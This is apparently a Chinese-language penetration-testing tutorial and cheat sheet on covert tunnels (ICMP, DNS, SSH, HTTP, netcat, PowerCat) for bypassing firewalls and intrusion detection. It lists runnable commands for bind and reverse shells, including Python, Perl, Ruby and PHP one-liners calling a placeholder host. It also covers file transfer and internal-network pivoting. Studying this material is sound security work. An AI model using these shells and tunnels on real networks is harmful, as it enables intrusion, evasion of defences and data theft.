对于隐藏通信隧道知识及其常用命令的总结
字数 1858 2025-08-12 11:33:54
隐藏通信隧道技术详解
1. 隧道技术概述
1.1 什么是隧道技术
隧道技术是一种绕过端口屏蔽的通信方式,通过在防火墙两端将数据包封装为防火墙允许的类型或端口,实现穿透防火墙的通信。这种技术开辟的通信路径就称为"隧道"。
1.2 隐藏通信隧道的用途
隐藏通信隧道技术主要用于:
- 在访问受限的网络环境中实现安全数据传输
- 在不受信任的网络中建立安全通信通道
- 绕过内网边界设备和入侵检测装置的流量检测
- 解决内网渗透中因流量检测导致的通信困难
2. 各层网络隧道技术分类
2.1 网络层隧道技术
- IPv6隧道
- ICMP隧道
- GRE隧道
2.2 传输层隧道技术
- TCP隧道
- UDP隧道
- 常规端口转发
2.3 应用层隧道技术
- SSH隧道
- HTTP隧道
- HTTPS隧道
- DNS隧道
3. 内网连通性检测方法
3.1 TCP协议检测
使用netcat执行nc命令:
nc <IP> <端口>
示例:
nc -zv 192.168.26.20 80
3.2 HTTP协议检测
使用curl工具:
curl <IP地址:端口>
示例:
curl www.baidu.com:80
3.3 ICMP协议检测
使用ping命令:
ping <IP地址/域名>
示例:
ping www.baidu.com
3.4 DNS协议检测
Windows使用nslookup,Linux使用dig:
nslookup www.baidu.com 服务器-ip
dig 服务器-ip www.baidu.com
4. 网络层隧道技术详解
4.1 IPv6隧道技术
4.1.1 技术原理
将IPv6数据包封装到IPv4中传输,到达目的地后再解封装出IPv6数据包。
4.1.2 支持工具
- socat
- 6tunnel
- nt6tunnel
4.1.3 技术优势
当前防火墙等安全设备大多未对IPv6流量进行检测,可绕过安全设备检测。
4.1.4 6tunnel使用示例
- 下载工具:https://github.com/wojtekka/6tunnel
- 建立隧道:
6tunnel -6 80 目标IPv6地址 80 - 注意:6tunnel不支持多端口转发,每个端口需单独运行
- 终止隧道:kill对应进程
4.2 ICMP隧道技术
4.2.1 技术原理
将TCP/UDP数据封装到ICMP的ping数据包中传输。
4.2.2 支持工具
- icmpsh
- PingTunnel
4.2.3 技术优势
防火墙通常不会屏蔽ping数据包。
4.2.4 icmpsh使用示例
- 关闭本地ICMP应答:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 - 攻击机运行:
./run.sh 192.168.1.9 - 目标机运行:
icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128
4.2.5 PingTunnel使用示例
- Web服务器执行:
ptunnel -x shuteer - 服务器执行:
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
5. 传输层隧道技术详解
5.1 netcat(nc)常用命令
5.1.1 基本扫描
nc -nv 192.168.26.137 # 抓取22端口banner
nc -v 192.168.26.137 80 # 扫描80端口
nc -v -z 192.168.26.137 20-1024 # 扫描端口段
nc -nvv 192.168.26.137 80 # 建立连接
5.1.2 文件传输
- 服务器监听:
nc -lvp 4444 >1.txt - 目标机发送:
nc -vn 192.168.26.20 4444 < info.txt -q 3
5.2 Shell获取技术
5.2.1 正向Shell
- 目标机监听:
nc -lvp 4444 -e /bin/bash # Linux nc -lvp 4444 -e c:\windows\system32\cmd.exe # Windows - 服务器连接:
nc 192.168.26.137 4444
5.2.2 反向Shell
- 服务器监听:
nc -lvp 4444 - 目标机连接:
nc 192.168.26.20 4444 -e /bin/bash # Linux nc 192.168.26.20 4444 -e c:\windows\system32\cmd.exe # Windows
5.2.3 无nc时的反向Shell
- Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' - Perl:
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' - Ruby:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' - PHP:
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
5.3 PowerCat使用
5.3.1 基本功能
- 正向连接:
powercat -l -p 8080 -e cmd.exe -v # 目标机 nc 192.168.56.130 8080 -vv # 攻击机 - 反向连接:
nc -lp 8888 -vv # 攻击机 powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe # 目标机
5.3.2 文件传输
- 接收端:
powercat -l -p 9999 -of newtest.txt -v - 发送端:
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt
5.3.3 Shell生成
- 正向Shell:
powercat -l -p 8000 -e cmd -v -g >> shell.ps1 # 上传执行后,攻击机连接: powercat -c 10.10.10.129 -p 8000 -v - 反向Shell:
powercat -l -p 8000 -ep -v -g >> shell.ps1 powercat -l -p 9999 -v
5.3.4 跳板通信
- 目标机:
powercat -l -v -p 9999 -e cmd.exe - 跳板机:
powercat -l -v -p 8000 -r tcp::10.10.10.129:9999 - 攻击机:
nc 192.168.56.130 8000 -vv
6. 应用层隧道技术详解
6.1 SSH隧道技术
6.1.1 本地转发
应用场景:服务器可访问Web服务器,Web服务器可访问数据库服务器
ssh -CfNg -L 1153:1.1.1.10:3389 root@192.168.1.11
连接:
rdesktop 127.0.0.1:1153
6.1.2 远程转发
应用场景:服务器不可访问Web服务器,Web服务器可访问服务器
ssh -cfNg -R 3307:1.1.1.10:3389 root@192.168.1.4
连接:
rdesktop 127.0.0.1:3307
6.1.3 动态转发
ssh -CfNg -D 7000 root@192.168.1.11
配置浏览器SOCKS代理(127.0.0.1:7000)即可访问内网资源。
6.2 HTTP(S)隧道
使用reGeorg工具:
- 上传tunnel文件到Web服务器
- 攻击机执行:
python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999 - 修改proxychains.conf端口为9999
- 使用proxychains访问内网
6.3 DNS隧道
6.3.1 技术优势
大多数防火墙和入侵检测设备不会过滤DNS流量。
6.3.2 使用iodine搭建
- 服务器端:
iodined -f -c -P 123456 192.168.0.1 test.com -DD - 客户端:
iodined -f -P 123456 test.com -M 200
7. SOCKS代理技术
7.1 SOCKS类型
- SOCKS4:仅支持TCP
- SOCKS5:支持TCP/UDP,支持身份验证
7.2 Linux下Proxychains使用
- 添加路由:
run autoroute -s 192.168.22.0/24 - 建立SOCKS代理:
use auxiliary/server/socks4a set srvhost 192.168.26.20 exploit - 修改/etc/proxychains.conf
- 使用:
proxychains <命令>
7.3 Windows下SocksCap64使用
- 配置代理设置
- 添加应用程序
- 右键选择"在代理隧道中运行选中程序"
8. 总结
隐藏通信隧道技术是内网渗透中的重要技术手段,掌握各层隧道技术的原理和使用方法,能够有效绕过网络限制,实现内网横向移动和数据传输。在实际应用中,需要根据目标网络环境选择合适的隧道技术,并注意隐蔽性和稳定性。